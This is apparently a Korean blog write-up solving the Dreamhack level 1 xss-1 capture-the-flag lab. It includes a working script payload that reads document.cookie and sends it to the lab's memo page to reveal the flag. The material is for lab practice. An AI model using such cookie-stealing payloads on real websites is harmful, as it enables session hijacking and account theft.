본문 바로가기

정보 보호 관리

Dreamhack level1 Xss-1 문제 해결

- 2023.03.30


Dreamhack level1 Xss-1
1. 문제 확인

 

  • URL 접속으로 XSS 취약점을 확인해 플래그 획득해야 함

 

2. 소스 코드 확인

 

  • 소스코드 속 URL로 접속을 해야 하지만 접속 불가능함
  • 우회를 통해 XSS 취약점을 공격

 

 

3. XSS 취약점

 

  • 스크립트 코드 실행해 XSS 취약점을 공약
  • <script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>

4. 문제 해결

 

  • 스크립트가 실행되어 메모 페이지에 들어가면 flag 확인 가능